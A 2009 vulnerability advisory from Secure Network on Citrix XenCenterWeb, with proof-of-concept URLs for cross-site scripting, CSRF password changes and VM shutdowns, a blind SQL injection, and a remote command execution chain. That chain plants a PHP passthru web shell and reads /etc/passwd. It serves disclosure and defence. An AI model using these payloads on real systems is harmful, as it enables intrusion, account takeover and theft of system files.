Secure Network - Security Research Advisory Vuln name: Citrix XenCenterWeb Multiple Vulnerabilities Systems affected: Citrix XenCenterWeb Systems not affected: n/a Severity: High Local/Remote: Remote Vendor URL: http://www.citrix.com Author(s): Alberto Trivero a.trivero_at_securenetwork&#46;it - Claudio Criscione c.criscione_at_securenetwork&#46;it Vendor disclosure: 1/06/2009 Vendor acknowledged: 11/06/2009 Vendor patch release: n/a Public disclosure: 06/07/2009 Advisory number: SN-2009-01 Advisory URL: http://securenetwork.it/ricerca/advisory/download/SN-2009-01.txt *** SUMMARY *** Citrix XenCenterWeb is a web interface for Citrix XenServer environment management. Users of XenCenterWeb will be able to see a list of Virtual Machines in the Resource Pool, perform life-cycle actions (start, shutdown, restart, etc.), get basic information about the hosts in the Resource Pools, information about the VMs and also connect to the console of the VMs. Due to poor validation of some user controlled inputs, a variety of attacks against the application and the underlying server are possible. Cross-site scripting, cross-site request forgery, SQL injection and remote command execution attack vectors were identified as well. XSS and CSRF attacks can be performed on the virtual appliance itself, while the others require the PHP parameter magic_quotes_gpc to be off on the web server. *** VULNERABILITY DETAILS *** (a) Cross-site Scripting (XSS) and Cross-site Request Forgery (CSRF) With the default PHP configuration (register_globals=Off and magic_quotes_gpc=On), both XSS and CSRF attacks can be executed. The first XSS attack exploits the lack of sanitization in the username parameter in edituser.php script and requires the victim to be able to access configuration scripts: https://xencenterweb.loc/config/edituser.php?username=1<script>alert(document.cookie)</script> Under the same conditions, a CSRF attack can be executed to change the password of an arbitrary user: https://xencenterweb.loc/config/changepw.php?username=[victim_username]&newpass=[attacker's_chosen_pwd] Another CSRF attack can hard stop a VM of the attacker's choice: https://xencenterweb.loc/hardstopvm.php?stop_vmref=[VMref]&stop_vmname=[VMname] Other XSS vulnerabilities afflict scripts which are accessible by anyone: https://xencenterweb.loc/console.php?location=1"><script>alert(document.cookie)</script><"&vmname=myVM https://xencenterweb.loc/console.php?location=1&sessionid=1"><script>alert(123)</script><"&vmname=myVM https://xencenterweb.loc/console.php?location=1&sessionid=1&vmname=myVM<script>alert(123)</script> https://xencenterweb.loc/forcerestart.php?vmrefid=1"><script>alert(123)</script><"&vmname=myVM https://xencenterweb.loc/forcerestart.php?vmrefid=1&vmname=myVM"><script>alert(123)</script><" https://xencenterweb.loc/forcesd.php?vmrefid=1&vmname=myVM"><script>alert(123)</script><" https://xencenterweb.loc/forcesd.php?vmrefid=1"><script>alert(123)</script><"&vmname=myVM (b) SQL Injection The username parameter in the login.php script is vulnerable to a Blind SQL Injection attack. An attacker can retrieve the whole database schema through specially crafted requests. Here is an example proof of concept: https://xencenterweb.loc/login.php?username=user' UNION SELECT if(user() LIKE 'root&#64;%', benchmark(1000000,sha1('test')), 'false')/* Obviously, other high profile attacks can be performed through this attack vector. (c) Remote Command Execution An attacker could write arbitrary data in the file /usr/local/lib/php/include/config.ini.php through the file /var/www/config/writeconfig.php. Due to this unsecure behavior, arbitrary commands can be executed on the machine. If a victim with the proper authorization follows this link: https://xencenterweb.loc/config/writeconfig.php?pool1='; ?> <?php $cmd = $_REQUEST['cmd']; passthru($cmd); ?> <?php $xen = ' or this URL encoded version: https://xencenterweb.loc/config/writeconfig.php?pool1=%27%3B%20%3F%3E%20%3C%3Fphp%20%24cmd%20%3D%20%24_REQUEST%5B%27cmd%27%5D%3B%20passthru%28%24cmd%29%3B%20%3F%3E%20%3C%3Fphp%20%24xen%20%3D%20%27 an attacker can then simply execute commands on the system through the console.php file: https://xencenterweb.loc/console.php?cmd=cat%20/etc/passwd; *** EXPLOIT *** Attackers may exploit these issues through a common browser as explained above. *** FIX INFORMATION *** No patch is currently provided by Citrix, and the application download has been removed. Citrix officially stated that "the tool was created to demonstrate how the SDK could be used to create unique solutions. Customers currently using it should assess the risks of continued use in light of your findings and, if these prove to be unacceptable, discontinue usage". *** WORKAROUNDS *** Common web application workarounds apply, like virtual patching from a web application firewall or similar solutions. However most of the reported issues can be mitigated by running the application only inside the virtual appliance or in properly configured web servers. Secure Network would like to thank Citrix for its support during the disclosure process. ********************* *** LEGAL NOTICES *** ********************* Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development. We are committed to open, full disclosure of vulnerabilities, cooperating whenever possible with software developers for properly handling disclosure. This advisory is copyright 2009 Secure Network S.r.l. Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. It may not be edited in any way without the express consent of Secure Network S.r.l. Permission is explicitly given for insertion in vulnerability databases and similars, provided that due credit is given to Secure Network. The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible. 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